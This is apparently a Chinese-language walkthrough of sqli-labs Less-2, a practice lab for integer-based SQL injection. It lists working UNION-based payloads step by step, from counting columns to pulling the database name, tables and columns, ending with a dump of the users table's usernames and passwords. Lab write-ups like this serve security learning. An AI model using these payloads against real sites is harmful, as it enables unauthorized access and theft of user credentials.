#sqli-labs#Less-2

总目录：戳一戳

Less-2 GET - Error based - Intiger based

整型注入是不需要进行单引号闭合的

• 基本和less-1一样，就是去掉了单引号
• 爆字段：?id=1 order by 3%23
  
• 爆字段位置?id=0 union select 1,2,3%23
  
• 爆库?id=0 union select 1,2,database()%23得到库名：security
  
• 爆表?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23,题目要求id，应该是users，用户数据表
  
• 爆列?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' %23
  
• 爆数据?id=0 union select 1,2,group_concat(username,0x3a,password) from users%23